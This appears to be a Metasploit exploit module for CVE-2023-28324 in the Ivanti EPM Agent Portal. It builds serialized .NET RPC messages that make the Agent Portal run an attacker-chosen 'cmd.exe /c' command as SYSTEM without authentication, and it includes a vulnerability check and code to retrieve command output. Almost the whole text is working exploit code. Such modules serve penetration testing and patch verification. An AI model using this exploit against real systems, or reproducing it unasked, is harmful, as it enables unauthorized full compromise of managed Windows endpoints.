Ivanti EPM Agent Portal Command Execution

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require ‘rex/proto/ms_nrtp/client’

class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp

Rank = ExcellentRanking

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Ivanti EPM Agent Portal Command Execution’,
‘Description’ => %q{
This module leverages an unauthenticated RCE in Ivanti’s EPM Agent Portal where a RPC client can invoke a method
which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
},
‘Author’ => [
‘James Horseman’, # original poc
‘Zach Hanley’, # original poc
‘Spencer McIntyre’ # metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2023-28324’],
[‘URL’, ‘https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US’],
[‘URL’, ‘https://github.com/horizon3ai/CVE-2023-28324’],
],
‘Platform’ => ‘win’,
‘Arch’ => ARCH_CMD,
‘Targets’ => [
[ ‘Automatic’, {} ],
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2023-06-07’, # Ivanti article created date
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)

register_options([
Opt::RPORT(nil, true, ‘The target port is not static. For more info, see this module\’s Verifications Steps in the docs.’),
])
deregister_options(‘SSL’)
end

def check
cwd = execute_command(‘echo %cd%’, 0)
return CheckCode::Safe(‘Command execution failed.’) unless cwd.to_s =~ /.:\\Windows\\System32/i

CheckCode::Vulnerable(“Command execution test succeeded. Current working directory: #{cwd}”)
rescue Rex::SocketError => e
CheckCode::Safe(“MS-NRTP connection failed. #{e.class}: #{e.message}”)
end

def exploit
execute_command(payload.raw)
end

def execute_command(command, result_delay = -1)
if @nrtp_client.nil?
@nrtp_client = client = IAgentPortal.new(
datastore[‘RHOST’],
datastore[‘RPORT’],
‘LANDeskAgentPortal/LDSM’,
context: { ‘Msf’ => framework, ‘MsfExploit’ => self }
)
client.connect
vprint_status(‘Connected to the remote end point’)
else
client = @nrtp_client
end

client.do_request(command)
return nil unless result_delay >= 0

sleep result_delay
client.do_get_result
end
end

class IAgentPortal < Rex::Proto::MsNrtp::Client
def recv_binary
Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)
end

def send_recv_binary(serialized_stream)
send_binary(serialized_stream)
recv_binary
end

def do_request(shell_command)
ss_response = send_recv_binary(ss_request(shell_command))
method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }
method_return.record_value.return_value.val.value
end

def do_get_result
ss_response = send_recv_binary(ss_get_result)
ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }
return nil unless ass

ass.record_value.members.first.record_value.string.value
end

private

def ss_get_result
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
records: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
record_value: {
message_enum: {
no_context: 1,
args_inline: 1
},
method_name: ‘GetResult’,
type_name: ‘LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb’,
args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: ‘localhost’ }]}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }
]})
end

def ss_request(shell_command)
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
records: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
record_value: {
message_enum: {
method_signature_in_array: 1,
no_context: 1,
args_in_array: 1
},
method_name: ‘Request’,
type_name: ‘LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb’
}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: ‘localhost’ } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: ‘cmd.exe’ } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: “/c #{shell_command}” } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: ‘System.Type’ } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: ‘APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb’ } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],
record_value: {
class_info: { obj_id: 5, name: ‘LANDesk.AgentPortal.IAgentPortalBase+ActionEnum’, member_count: 1, member_names: [‘value__’] },
member_type_info: { binary_type_enums: [0], additional_infos: [8] },
library_id: 11,
member_values: [1]}
},
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],
record_value: {
class_info: { obj_id: 8, name: ‘System.UnitySerializationHolder’, member_count: 3, member_names: [‘Data’, ‘UnityType’, ‘AssemblyName’] },
member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },
member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: ‘System.String’ } }, 4, { record_type: 6, record_value: { obj_id: 13, string: ‘mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’ } }]}
},
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],
record_value: {
obj_id: 9,
metadata_id: 8,
member_values: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: ‘LANDesk.AgentPortal.IAgentPortalBase+ActionEnum’ } },
4,
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: ‘APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb’ } }
]}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }
]})
end
end